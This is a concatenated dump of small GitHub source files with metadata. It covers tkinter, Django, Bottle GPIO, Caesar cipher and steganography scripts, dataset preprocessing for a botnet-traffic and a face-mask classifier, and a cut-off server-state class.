fill=tk.Y)\ntable = ttk.Treeview(window_frame,yscrollcommand=scroller.set)\ntable.pack()\nscroller.config(command=table.yview)\n\n#define our column\ncols = {\n    \"player_id\" : \"Id\",\n    \"player_name\" : \"Name\",\n    \"player_Rank\" : \"Rank\",\n    \"player_states\" : \"State\",\n    \"player_city\" : \"City\"\n}\ntable['columns'] = tuple(cols.keys())\n\n# format our columns & headers\ntable.column(\"#0\", width=0,  stretch=tk.NO)\ntable.heading(\"#0\",text=\"\",anchor=tk.CENTER)\nfor ref, text in cols.items():\n    table.column(ref,anchor=tk.CENTER, width=80)\n    print(ref)\n    table.heading(ref,text=text,anchor=tk.CENTER)\n\n#add data \ntable.insert(parent='',index='end',iid=0,text='',values=('1','Ninja','101','Oklahoma', 'Moore'))\ntable.insert(parent='',index='end',iid=1,text='',values=('2','Ranger','102','Wisconsin', 'Green Bay'))\ntable.insert(parent='',index='end',iid=2,text='',values=('3','Deamon','103', 'California', 'Placentia'))\ntable.insert(parent='',index='end',iid=3,text='',values=('4','Dragon','104','New York' , 'White Plains'))\ntable.insert(parent='',index='end',iid=4,text='',values=('5','CrissCross','105','California', 'San Diego'))\ntable.insert(parent='',index='end',iid=5,text='',values=('6','ZaqueriBlack','106','Wisconsin' , 'TONY'))\ntable.insert(parent='',index='end',iid=6,text='',values=('7','RayRizzo','107','Colorado' , 'Denver'))\ntable.insert(parent='',index='end',iid=7,text='',values=('8','Byun','108','Pennsylvania' , 'ORVISTON'))\ntable.insert(parent='',index='end',iid=8,text='',values=('9','Trink','109','Ohio' , 'Cleveland'))\ntable.insert(parent='',index='end',iid=9,text='',values=('10','Twitch','110','Georgia' , 'Duluth'))\ntable.insert(parent='',index='end',iid=10,text='',values=('11','Animus','111', 'Connecticut' , 'Hartford'))\ntable.pack()\n\n\nws.mainloop()","repo_name":"BearXP/partLibrary","sub_path":"Notebooks/tkinter_tb_scrollableWindow.py","file_name":"tkinter_tb_scrollableWindow.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"69882004524","text":"\"\"\"\n ScharfSandhiArg.py  May 25, 2015\n Jul 26, 2015. \n Jul 27, 2015\n 9 May 2020 PMS added parenthesis for python 3 compatibility\n\"\"\"\nfrom scharfsandhi import ScharfSandhi\n\nif __name__ == '__main__':\n import sys\n sopt = sys.argv[1]\n s = sys.argv[2]\n sandhi = ScharfSandhi()\n sandhi.history=[] # init history.  It is modified by wrapper\n sandhi.dbg=True\n err = sandhi.simple_sandhioptions(sopt)\n if err != 0:\n  print(\"ERROR: sopt must be E, E1, or C, not\",sopt)\n  exit(1)\n ans = sandhi.sandhi(s)\n for h in sandhi.history:\n  print(h)\n print('ScharfSandhiArg: ans=\"%s\"' % ans)\n","repo_name":"funderburkjim/ScharfSandhi","sub_path":"pythonv4/previousVersions/ScharfSandhiArgSingleOpt.py","file_name":"ScharfSandhiArgSingleOpt.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"19"}
{"seq_id":"21050143358","text":"from random import choice\n\nn1 = input(\"Primeiro aluno: \")\nn2 = input(\"Segundo aluno: \")\nn3 = input(\"Terceiro aluno: \")\nn4 = input(\"Quarto aluno: \")\n\narray = [n1, n2, n3, n4]\n\nprint(\"O escolhido foi: {}\".format(choice(array)))","repo_name":"christian-augusto/studies","sub_path":"topics/Python/conteudo/01-curso-em-video/fundamentos/20-desafio19.py","file_name":"20-desafio19.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"20747322164","text":"#........................#\n#Created By Muhammad Saad#\n#on 20/02/2022           #\n#........................#\n\n\n\nimport pandas as pd\nimport numpy as np\n\ndef load_data():\n    zeus_1 = pd.read_csv('./Data/Zeus.csv', delimiter=',')\n    zeus = zeus_1.to_numpy()\n    y_zeus  = np.zeros((len(zeus),2), dtype=int)\n    y_zeus[:,0] = 1\n    zeus = np.append(zeus,y_zeus, axis=1)\n\n    neris_1 = pd.read_csv('./Data/Neris.csv', delimiter=',')\n    neris = neris_1.to_numpy()\n    y_neris  = np.zeros((len(neris),2), dtype=int)\n    y_neris[:,1] = 1\n    neris = np.append(neris,y_neris, axis=1)\n    \n    class_names = [\"zeus\", \"neris\"]\n\n    X_data = np.concatenate((zeus,neris), axis=0)\n    np.random.shuffle(X_data)\n    X_new = X_data[:,:784]\n    Y = X_data[:,784:]\n    my_list = []\n    for i in range (X_new.shape[0]):\n        my_list.append(X_new[i].reshape(1,28,28))\n\n    X = np.array(my_list)\n    return class_names, X, Y\n\n\n\n","repo_name":"Arman001/CNN_Scratch","sub_path":"Data_Preprocessing.py","file_name":"Data_Preprocessing.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"27195461981","text":"import jsonpickle\nfrom typing import Dict, Union, Optional, List, Type\n\nfrom Domain.entity import Entity\nfrom Repository.repository import Repository\n\n\nclass JsonRepository(Repository):\n    \"\"\"\n    Repository cu fisiere Json\n    \"\"\"\n\n    def __init__(self, filename):\n        self.filename = filename\n\n    def __read_file(self):\n        \"\"\"\n        Metoda de citire a fisierelor\n        :return:\n        \"\"\"\n        try:\n            with open(self.filename, 'r') as f:\n                return jsonpickle.loads(f.read())\n        except Exception:\n            return {}\n\n    def __write_file(self, objects: Dict[str, Entity]):\n        \"\"\"\n        Metoda de scriere in fisier\n        :param objects: obiecte\n        :return:\n        \"\"\"\n        with open(self.filename, 'w') as f:\n            f.write(jsonpickle.dumps(objects))\n\n    def create(self, entity: Entity) -> None:\n        \"\"\"\n        Metoda de a adauga o entitate\n        :param entity:\n        :return:\n        \"\"\"\n\n        entities = self.__read_file()\n        if self.read(entity.id_entity) is not None:\n            raise KeyError(f'Exista deja o '\n                           f'entitate cu id-ul {entity.id_entity}.')\n\n        entities[entity.id_entity] = entity\n        self.__write_file(entities)\n\n    def read(self, id_entity: object = None) \\\n            -> Type[Union[Optional[Entity], List[Entity]]]:\n        \"\"\"\n        Metoda ce indica entitati\n        :param id_entity: id entitate\n        :return: toate enttitatile daca nu este specificat un id anume;\n        entitatea cu id-ul dat sau None, daca nu exista\n        \"\"\"\n\n        entities = self.__read_file()\n        if id_entity:\n            if id_entity in entities:\n                return entities[id_entity]\n            else:\n                return None\n\n        return list(entities.values())\n\n    def update(self, entity: Entity) -> None:\n        \"\"\"\n        Metoda ce modifica o entitate\n        :param entity: o entitate\n        :return:\n        \"\"\"\n        entities = self.__read_file()\n        if self.read(entity.id_entity) is None:\n            msg = f'Nu exista o entitate cu id-ul ' \\\n                  f'{entity.id_entity} de actualizat.'\n            raise KeyError(msg)\n\n        entities[entity.id_entity] = entity\n        self.__write_file(entities)\n\n    def delete(self, id_entity: str) -> None:\n        \"\"\"\n        Metoda de stergere a entitatii\n        :param id_entity: id-ul entitatii\n        :return:\n        \"\"\"\n        entities = self.__read_file()\n        if self.read(id_entity) is None:\n            raise KeyError(\n                f'Nu exista o entitate cu id-ul '\n                f'{id_entity} pe care sa o stergem.')\n\n        del entities[id_entity]\n        self.__write_file(entities)\n","repo_name":"ghrsmg/PythonProjects","sub_path":"PracticalExam/Repository/json_repository.py","file_name":"json_repository.py","file_ext":"py","file_size_in_byte":2736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"6396193505","text":"#code for caesar cipher encrypt\r\ndef cce(au,sk):\r\n    a=au.upper()\r\n    l1=[]\r\n    li=\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\r\n    \r\n    for i in a:\r\n        ctr=0\r\n        if i==\" \":\r\n                l1.append(\" \")\r\n        for j in li:\r\n            if i==j:\r\n                l1.append(li[ctr+sk])\r\n            \r\n            ctr+=1\r\n    x=''.join(l1)\r\n    print(x) \r\n\r\n\r\n\r\n\r\n#code for caesar cipher decrypt\r\n\r\ndef ccd(au,sk):\r\n    a=au.upper()\r\n    l1=[]\r\n    li=\"ZYXWVUTSRQPONMLKJIHGFEDCBA\"\r\n    \r\n    for i in a:\r\n        ctr=0\r\n        if i==\" \":\r\n                l1.append(\" \")\r\n        for j in li:\r\n            if i==j:\r\n                l1.append(li[ctr+sk])\r\n            \r\n            ctr+=1\r\n    x=''.join(l1)\r\n    print(x) \r\n\r\n\r\n\r\n#word encrypter\r\nword=input(\"Enter word : \")\r\nch=input(\"Do you want to encrypt or decrypt using Caesar Cipher ? E/D :\")\r\n\r\ncho=ch.upper()\r\nb=int(input(\"Provide shift key :\"))\r\n    \r\nif cho==\"E\":\r\n    #call encrypt function here\r\n    cce(word,b)\r\nelif cho==\"D\":\r\n    #call decrypt function here\r\n    ccd(word,b)\r\nelse:\r\n    print(\"Invalid input, program shutting down.\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n\r\n\r\n\r\n","repo_name":"sirisgupta/Caesar-Cipher-python-","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"19098871321","text":"import numpy as np\nimport os\nfrom matplotlib import pyplot as plt\nimport cv2\nimport random\nimport pickle\nimport xmltodict\nfrom sklearn.model_selection import train_test_split\n\nDATA_DIR = \"archive\"\n\nCATEGORIES = [\"with_mask\", \"without_mask\", \"mask_weared_incorrect\"]\n\nIMG_SIZE = 50\n\ntraining_data = []\n\nimages_path = os.path.join(DATA_DIR, \"images\")\nfor img in os.listdir(images_path):\n    try:\n        img_array = cv2.imread(os.path.join(images_path, img), cv2.IMREAD_GRAYSCALE)\n        resized = cv2.resize(img_array, (IMG_SIZE, IMG_SIZE))\n        annotations_path = \"archive/annotations/\" + img[:-4] + \".xml\"\n        with open(annotations_path) as fd:\n            info = xmltodict.parse(fd.read())\n            label = info['annotation']['object']['name']\n            training_data.append([resized, CATEGORIES.index(label)])\n    except Exception as e:\n        print(e)\n\nrandom.shuffle(training_data)\n\nX = []\ny = []\n\nfor features, label in training_data:\n    X.append(features)\n    y.append(label)\n\nX = np.array(X).reshape(-1, IMG_SIZE, IMG_SIZE, 1)\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size=0.7)\n\npickle_out = open('X_train.pickle', 'wb')\npickle.dump(X_train, pickle_out)\npickle_out.close()\n\npickle_out = open('X_test.pickle', 'wb')\npickle.dump(X_test, pickle_out)\npickle_out.close()\n\npickle_out = open('y_train.pickle', 'wb')\npickle.dump(y_train, pickle_out)\npickle_out.close()\n\npickle_out = open('y_test.pickle', 'wb')\npickle.dump(y_test, pickle_out)\npickle_out.close()\n","repo_name":"laurafiuza/masks","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71810740200","text":"from bottle import route, run, template, request\nimport RPi.GPIO as GPIO\nimport time\n\nIP_ADDRESS = '192.168.0.12' # of your Pi\n\n# Configure the GPIO pin\nGPIO.setmode(GPIO.BCM)\nRED_PIN = 4\n\nGPIO.setup(RED_PIN, GPIO.OUT)\n\n# Initialize all RGB to OFF\nGPIO.output(RED_PIN,GPIO.HIGH)\n\n# Handler for the home page\n@route('/')\ndef index(name='time'):\n    return template('home.tpl')\n\n# Handler for the 'rgbled' page\n@route('/rgbon', method='POST')\ndef new_item():\n    GPIO.output(RED_PIN,GPIO.LOW)\n    return template('home.tpl')\n\n@route('/rgboff', method='POST')\ndef new_item():\n    GPIO.output(RED_PIN,GPIO.HIGH)\n    return template('home.tpl')\n\n# Start the webserver running on port 80\ntry:\n    run(host=IP_ADDRESS, port=80)\nfinally:\n    print('Cleaning up GPIO')\n    GPIO.cleanup()\n","repo_name":"macunixs/bottleserver","sub_path":"led_switch.py","file_name":"led_switch.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"37219795218","text":"from PIL import Image\r\nfrom bitarray import bitarray\r\nimport struct\r\nimport sys\r\n\r\nclass textColors:\r\n\tERROR = '\\033[1;31;48m'\r\n\tSUCCES = '\\033[1;32;48m'\r\n\r\n\tEND = '\\033[1;37;48m'\r\n\r\n\r\ndef encode(inFile):\r\n\ttry:\r\n\t\tinImage = Image.open(inFile)\r\n\texcept:\r\n\t\tprint(textColors.ERROR+\"No such file: \"+inFile+'!'+textColors.END)\r\n\t\texit()\r\n\r\n\tmaxMessSize = inImage.size[0]*inImage.size[1]*3/8\r\n\tif maxMessSize > 65535:\r\n\t\tmaxMessSize = 65535\r\n\r\n\tprint(\"Max character capacity of \"+inFile+\" image: \" + str(maxMessSize))\r\n\r\n\tm = input(\"Enter message to hide: \")\r\n\r\n\tif len(m) > 65535:\r\n\t\tprint(textColors.ERROR+\"Message is to long!\"+textColors.END)\r\n\t\texit()\r\n\r\n\tif maxMessSize < len(m):\r\n\t\tprint(textColors.ERROR+\"Message is to long!\"+textColors.END)\r\n\t\texit()\r\n\r\n\tmb = bitarray()\r\n\tmb.fromstring(m)\r\n\tmbSize = mb.length()\r\n\r\n\tc = 0 # counter\r\n\r\n\toldPixels = inImage.load()\r\n\r\n\tnewImage = Image.new( 'RGB', (inImage.size[0], inImage.size[1]), \"black\")\r\n\tpixels = newImage.load()\r\n\r\n\tfor i in range(newImage.size[0]):    # for every col\r\n\t\tfor j in range(newImage.size[1]):    # For every row\r\n\t\t\tr,g,b = oldPixels[i,j]\r\n\r\n\t\t\tif c < mbSize:\r\n\t\t\t\tif mb[c] == 1:\r\n\t\t\t\t\tr = r | 1\r\n\t\t\t\telse:\r\n\t\t\t\t\tr = r & 254\r\n\r\n\t\t\t\tc += 1\r\n\r\n\t\t\tif c < mbSize:\r\n\t\t\t\tif mb[c] == 1:\r\n\t\t\t\t\tg = g | 1\r\n\t\t\t\telse:\r\n\t\t\t\t\tg = g & 254\r\n\r\n\t\t\t\tc += 1\r\n\r\n\t\t\tif c < mbSize:\r\n\t\t\t\tif mb[c] == 1:\r\n\t\t\t\t\tb = b | 1\r\n\t\t\t\telse:\r\n\t\t\t\t\tb = b & 254\r\n\r\n\t\t\t\tc += 1\r\n\r\n\t\t\tpixels[i,j] = (r,g,b)\r\n\r\n\tnewImage.save(\"r.png\")\r\n\r\n\ttry:\r\n\t\tsize = struct.pack('H', len(m)).decode(\"utf-8\")\r\n\texcept:\r\n\t\tprint(textColors.ERROR+\"Something went wrong! r.png does not contain hidden message\"+textColors.END)\r\n\t\texit()\r\n\r\n\ttry:\r\n\t\tf = open(\"r.png\", \"a+\")\r\n\texcept:\r\n\t\tprint(textColors.ERROR+\"Something went wrong! r.png does not contain hidden message\"+textColors.END)\r\n\t\texit()\r\n\r\n\tf.write(size)\r\n\tf.close()\r\n\r\n\tprint(textColors.SUCCES+\"Succes! Message encrypted in file r.png\"+textColors.END)\r\n\r\n\r\ndef decode(inFile):\r\n\ttry:\r\n\t\tf = open(inFile, \"rb\")\r\n\texcept:\r\n\t\tprint(textColors.ERROR+\"No such file: \"+inFile+'!'+textColors.END)\r\n\t\texit()\r\n\r\n\tfstr = f.read()\r\n\tstrLen = fstr[-2:]\r\n\tlength = struct.unpack('H', strLen)\r\n\tlength = int(length[0])\r\n\tf.close()\r\n\tlength = length*8\r\n\r\n\ttry:\r\n\t\tinImage = Image.open(inFile)\r\n\texcept:\r\n\t\tprint(textColors.ERROR+\"No such file: \"+inFile+'!'+textColors.END)\r\n\t\texit()\r\n\r\n\tpixels = inImage.load()\r\n\r\n\tbc = 0 # bit counter\r\n\tmb = bitarray() # array for string\r\n\r\n\tfor i in range(inImage.size[0]):    # for every col\r\n\t\tfor j in range(inImage.size[1]):    # For every row\r\n\t\t\tr,g,b = pixels[i,j]\r\n\r\n\t\t\tif bc < length:\r\n\t\t\t\tmb.append(r & 1)\r\n\t\t\t\tbc+=1\r\n\t\t\telse:\r\n\t\t\t\tbreak\r\n\r\n\t\t\tif bc < length:\r\n\t\t\t\tmb.append(g & 1)\r\n\t\t\t\tbc+=1\r\n\t\t\telse:\r\n\t\t\t\tbreak\r\n\r\n\t\t\tif bc < length:\r\n\t\t\t\tmb.append(b & 1)\r\n\t\t\t\tbc+=1\r\n\t\t\telse:\r\n\t\t\t\tbreak\r\n\r\n\tdecodedMessage = mb.tostring()\r\n\tprint(textColors.SUCCES+\"Succes! Decoded message:\")\r\n\tprint(decodedMessage+textColors.END)\r\n\r\n\r\ndef main():\r\n\ttry:\r\n\t\toperation = sys.argv[1]\r\n\texcept:\r\n\t\tprint(textColors.ERROR+\"Incorrect input!\"+textColors.END)\r\n\t\tprint(\"Usage: python3 hide.py -e(to encode)/-d(to decode) input_file\")\r\n\t\texit()\r\n\r\n\ttry:\r\n\t\tinFile = sys.argv[2]\r\n\texcept:\r\n\t\tprint(textColors.ERROR+\"Incorrect input!\"+textColors.END)\r\n\t\tprint(\"Usage: python3 hide.py -e(to encode)/-d(to decode) input_file\")\r\n\t\texit()\r\n\r\n\tif operation == '-e':\r\n\t\tencode(inFile)\r\n\telif operation == '-d':\r\n\t\tdecode(inFile)\r\n\telse:\r\n\t\tprint(textColors.ERROR+\"Incorrect input!\"+textColors.END)\r\n\t\tprint(\"Usage: python3 hide.py -e(to encode)/-d(to decode) input_file\")\r\n\t\texit()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"Mateusz1223/messhidder","sub_path":"hide.py","file_name":"hide.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9842374098","text":"# flake8: noqa\nfrom .base import *\nfrom os.path import abspath, dirname, join\n\n\nDEBUG = env.bool('DJANGO_DEBUG', default=True)\nTEMPLATES[0]['OPTIONS']['debug'] = DEBUG\n\nINSTALLED_APPS += (\n    'debug_toolbar',\n    'django_extensions',\n)\n\nINTERNAL_IPS = ('127.0.0.1',)\n\n# See: https://github.com/django-debug-toolbar/django-debug-toolbar#installation\nMIDDLEWARE += (\n    'debug_toolbar.middleware.DebugToolbarMiddleware',\n)\n\nSECRET_KEY = env('DJANGO_SECRET_KEY',\n                 default='7nn(g(lb*8!r_+cc3m8bjxm#xu!q)6fidwgg&$p$6a+alm+x')\n\nEMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n\n# Use Dummy cache for development\nCACHES = {\n    'default': {\n        'BACKEND': 'django.core.cache.backends.dummy.DummyCache',\n    }\n}\n\n# Process all tasks synchronously.\n# Helpful for local development and running tests\nCELERY_EAGER_PROPAGATES_EXCEPTIONS = True\nCELERY_ALWAYS_EAGER = True\n\n\ntry:\n    from .local import *\nexcept ImportError:\n    pass\n\n","repo_name":"chrisdev/wagtail-cookiecutter-foundation","sub_path":"{{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/settings/dev.py","file_name":"dev.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":164,"dataset":"github-code","pt":"18"}
{"seq_id":"72563832361","text":"from word_processor import pre_processing\nimport math\nimport pickle\nimport numpy as np\n\nfrom add_document import load_files\n\n#function to return the cosine Similarity score of two vectors\ndef get_cosine_similiarity(terms,document):\n    return np.dot(terms,document)/(math.sqrt(np.sum(terms**2))*math.sqrt(np.sum(document**2)))\n\n\n# function :  process_querry\n# parameters  -----------\n# 1) words :- string containing the querry\n# 2) dic  :- dictionary containing the document lists\n# 3) df :- dictionary containing the document frequency of each term\n# 4) docs :- list of dictionaries containing the termFrequency of words in each document\n\ndef process_querry(words,dic,df,docs):\n\t# preprocess the querry and convert it into list of valid words\n\twords = pre_processing(words)\n\n\tN = len(dic)\n\n\t# dictionary to store the terms in query and their frequency\n\tterms = {}\n\n\tfor word in words:\n\t\tif word in terms:\n\t\t\tterms[word] += 1\n\t\telse:\n\t\t\tterms[word] = 1\n\n\t# idfs is list that contains inverse document frequency of each term\n\tidfs = []\n\tfor term in terms:\n\t\tif term in df:\n\t\t\tidfs.append(math.log(N/df[term]))\n\t\telse:\n\t\t\tidfs.append(math.log(N))\n\n\t# term_vector is the vector that stores the array of the frequency of each term in query\n\tterm_vector = np.fromiter(terms.values(), dtype=float)\n\tterm_vector = term_vector*np.array(idfs)\n\n\t# doc_vectors will store the list of all the arrays of frequency of terms in respective document\n\tdoc_vectors = []\n\n\ti = 0\n\tfor file in dic:\n\t\ttf = docs[file]\n\t\tdoc_vectors.append([])\n\t\tj = 0\n\t\tfor term in terms:\n\t\t\tif term in tf:\n\t\t\t\tdoc_vectors[i].append(tf[term]*idfs[j])\n\t\t\telse:\n\t\t\t\tdoc_vectors[i].append(idfs[j])\n\t\t\tj += 1\n\t\ti += 1\n\tdoc_vectors = np.array(doc_vectors)\n\n\t# rank dictionary stores the cosine Similarity score of each document\n\trank = {}\n\ti = 0\n\tfor file in dic:\n\t\trank[file] = get_cosine_similiarity(term_vector,doc_vectors[i])\n\t\ti += 1\n\n\t# return rank dictionary\n\treturn rank\n\n#process_querry(input('Query : '))\n#dic,df,docs = load_files()\n","repo_name":"jangidprashantjee185045/information_retrival","sub_path":"cosine_similarity.py","file_name":"cosine_similarity.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43547600661","text":"from django.conf.urls.defaults import *\nfrom django.views.generic.simple import redirect_to\n\nfrom .views import (InboxView,\n                    OutboxView,\n                    MarkSelectedView,\n                    UserNewMessagesCount,\n                    ViewThread,\n                    PlainMessageList)\n\n\nurlpatterns = patterns('messaging.views',\n    url(r'^inbox/$', InboxView.as_view(), name=\"messaging_inbox\"),\n    url(r'^$', redirect_to, {'url': 'inbox/'}, name='messaging_redirect'),\n    url(r'^compose/$', 'compose', name='messaging_compose'),\n    url(r'^compose/(?P<recipient>[a-zA-Z0-9 @_\\.,+!?-]+)/$', 'compose', name='messaging_compose_to'),\n    url(r'^inbox|outbox/compose/recipient-list/$', 'recipient_typeahead', name='messaging_compose_recipient_list'),\n    url(r'^reply/(?P<message_id>[\\d]+)/$', 'reply', name='messaging_reply'),\n    url(r'^(?P<tab>[\\w.]+)/(?P<pk>[\\d]+)/$', ViewThread.as_view(), name='view_thread'),\n    url(r'^delete/selected/$', MarkSelectedView.as_view(), {'mark': 'delete'}, name='messaging_delete_selected'),\n    url(r'^mark/selected/$', MarkSelectedView.as_view(), {'mark': 'read'}, name='messaging_mark_read_selected'),\n    url(r'^markunread/selected/$', MarkSelectedView.as_view(), {'mark': 'unread'}, name='messaging_mark_unread_selected'),\n    url(r'^markresolved/selected/$', MarkSelectedView.as_view(), {'mark': 'resolved'}, name='messaging_mark_resolved_selected'),\n    url(r'^markunresolved/selected/$', MarkSelectedView.as_view(), {'mark': 'unresolved'}, name='messaging_mark_unresolved_selected'),\n    url(r'^list/$', PlainMessageList.as_view(), name='messaging_plain_list'),\n    url(r'^user/new/messages/$', UserNewMessagesCount.as_view(), name='messaging_new_messages_count'),\n    # url(r'^delete/(?P<message_id>[\\d]+)/$', delete, name='messaging_delete'),\n    # url(r'^undelete/(?P<message_id>[\\d]+)/$', undelete, name='messaging_undelete'),\n    # url(r'^trash/$', trash, name='messaging_trash'),\n)\n","repo_name":"codeadict/ecomarket","sub_path":"apps/messaging/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1954,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"28430419354","text":"#link the new intersection points to old intersection points\n#0: left_top\n#1: left_bottom\n#2: right_top\n#3: right_bottom\n\n#check wich corners we dont have\ndef check_corners(corners, side):\n\tfor index in range(0,len(corners)):\n\t\tif corners[index] == None:\n\t\t\tcorners[index] = make_corners(corners, index, side)\n\treturn corners\n\n#creates the corners we dont have to make the full square\ndef make_corners(corners, index, side):\n\tn = 0\n\tfor point in corners:\n\t\tif point != None:\n\t\t\tif index == 0:\n\t\t\t\tif n == 1:\n\t\t\t\t\tnew_point = (point[0], point[1] - side)\n\t\t\t\t\treturn new_point\n\t\t\t\telif n == 2:\n\t\t\t\t\tnew_point = (point[0] - side, point[1])\n\t\t\t\t\treturn new_point\n\t\t\t\telif n == 3:\n\t\t\t\t\tnew_point = (point[0] - side, point[1] - side)\n\t\t\t\t\treturn new_point\n\t\t\telif index == 1:\n\t\t\t\tif n == 0:\n\t\t\t\t\tnew_point = (point[0], point[1] + side)\n\t\t\t\t\treturn new_point\n\t\t\t\telif n == 2:\n\t\t\t\t\tnew_point = (point[0] - side, point[1] + side)\n\t\t\t\t\treturn new_point\n\t\t\t\telif n == 3:\n\t\t\t\t\tnew_point = (point[0] - side, point[1])\n\t\t\t\t\treturn new_point\n\t\t\telif index == 2:\n\t\t\t\tif n == 0:\n\t\t\t\t\tnew_point = (point[0] + side, point[1])\n\t\t\t\t\treturn new_point\n\t\t\t\tif n == 1:\n\t\t\t\t\tnew_point = (point[0] + side, point[1] - side)\n\t\t\t\t\treturn new_point\n\t\t\t\tif n == 3:\n\t\t\t\t\tnew_point = (point[0], point[1] - side)\n\t\t\t\t\treturn new_point\n\t\t\telif index == 3:\n\t\t\t\tif n == 0:\n\t\t\t\t\tnew_point = (point[0] + side, point[1] + side)\n\t\t\t\t\treturn new_point\n\t\t\t\tif n == 1:\n\t\t\t\t\tnew_point = (point[0] + side, point[1])\n\t\t\t\t\treturn new_point\n\t\t\t\tif n == 2:\n\t\t\t\t\tnew_point = (point[0], point[1] + side)\n\t\t\t\t\treturn new_point\n\n\t\telse:\n\t\t\tn += 1\n\ndef interpolate(corners, x0, y0, side_old):\n\tx_values = []\n\ty_values = []\n\tfor point in corners:\n\t\tx_values.append(point[0])\n\t\ty_values.append(point[1])\n\t\n\tif len(x_values) > 1:\n\t\tx_norm = max(x_values) - min(x_values)\n\telse:\n\t\tx_norm = side_old\n\tif len(y_values) > 1:\n\t\ty_norm = max(y_values) - min(y_values)\n\telse:\n\t\ty_norm = side_old\n\n\tnorm = (x_norm + y_norm) / 2\n\n\tx_delta = x0 - min(x_values)\n\ty_delta = max(y_values) - y0\n\n\tx_est = x_delta / norm\n\ty_est = y_delta / norm\n\n\treturn x_est, y_est, norm","repo_name":"Pieterjan-byte/IMP","sub_path":"polation2.py","file_name":"polation2.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71210655079","text":"import shutil\nimport tarfile\nimport tempfile\nimport threading\nimport time\nimport logging\nimport os\n\nfrom cpc.network.com.server_connection import ServerConnectionError\nfrom cpc.network.https_connection_pool import ServerConnectionPool, ConnectionPoolEmptyError\nfrom cpc.network.node import Node\nfrom cpc.network.server_to_server_message import ServerToServerMessage\nfrom cpc.server.message.direct_message import PersistentServerMessage\nfrom cpc.server.message.server_message import ServerMessage\nfrom cpc.server.message.direct_message import DirectServerMessage\nfrom cpc.util.conf.server_conf import ServerConf\nimport projectlist\nimport cpc.server.queue\nimport heartbeat\nimport cpc.server.queue\nimport cpc.util.plugin\nimport localassets\nimport remoteassets\nfrom cpc.util.worker_state import WorkerState\nfrom cpc.server.state.session import SessionHandler\nfrom cpc.network.broadcast_message import BroadcastMessage\n\nlog=logging.getLogger(__name__)\n\nclass ServerState:\n    \"\"\"Maintains the server state. Must provide synchronized access\n       because the server is threaded.\n\n       No threads are to be started in the __init__ method, but rather\n       in the startExecThreads method. This is because the ServerState\n       is initialized before the server forks. The main process would\n       take those threads with it to the grave\"\"\"\n\n    def __init__(self, conf):\n        self.conf=conf\n        self.quit=False\n        self.quitlock=threading.Lock()\n        self.cmdQueue=cpc.server.queue.CmdQueue()\n        self.projectlist=projectlist.ProjectList(conf, self.cmdQueue)\n        self.taskExecThreads=None\n        self.workerDataList=heartbeat.WorkerDataList()\n        self.runningCmdList=heartbeat.RunningCmdList(conf, self.cmdQueue,\n                                                     self.workerDataList)\n        self.localAssets=localassets.LocalAssets()\n        self.remoteAssets=remoteassets.RemoteAssets()\n        self.sessionHandler=SessionHandler()\n        self.workerStates = dict()\n        self.stateSaveThread=None\n        self.updateThread = None\n        self.keepAliveThread = None\n        self.reestablishConnectionThread = None\n\n        self.readableSocketLock = threading.Lock()\n        self.readableSockets = []\n\n\n    def startExecThreads(self):\n        \"\"\"Start the exec threads.\"\"\"\n        self.taskExecThreads=cpc.server.queue.TaskExecThreads(self.conf, 1,\n                                                self.projectlist.getTaskQueue(),\n                                                self.cmdQueue)\n        self.stateSaveThread=threading.Thread(target=stateSaveLoop,\n                                              args=(self, self.conf, ))\n        self.stateSaveThread.daemon=True\n        self.stateSaveThread.start()\n        log.debug(\"Starting state save thread.\")\n        self.runningCmdList.startHeartbeatThread()\n\n\n    def startConnectServerThread(self):\n        self.connectServerThread=threading.Thread(\n                                            target=establishConnections,\n                                            args=(self,)\n                                            ,name=\"ConnectServerThread\")\n        self.connectServerThread.daemon=True\n        self.connectServerThread.start()\n\n    def startKeepAliveThread(self):\n         self.keepAliveThread=threading.Thread(target=sendKeepAlive,\n                                                 args=(self.conf, )\n                                                ,name=\"KeepAliveThread\")\n         self.keepAliveThread.daemon=True\n         self.keepAliveThread.start()\n\n    def startReestablishConnectionThread(self):\n        self.reestablishConnectionThread=threading.Thread(target=reestablishConnections,\n            args=(self, ),name=\"reestablishConnectionThread\")\n        self.reestablishConnectionThread.daemon=True\n        self.reestablishConnectionThread.start()\n\n    def doQuit(self):\n        \"\"\"set the quit state to true\"\"\"\n        with self.quitlock:\n            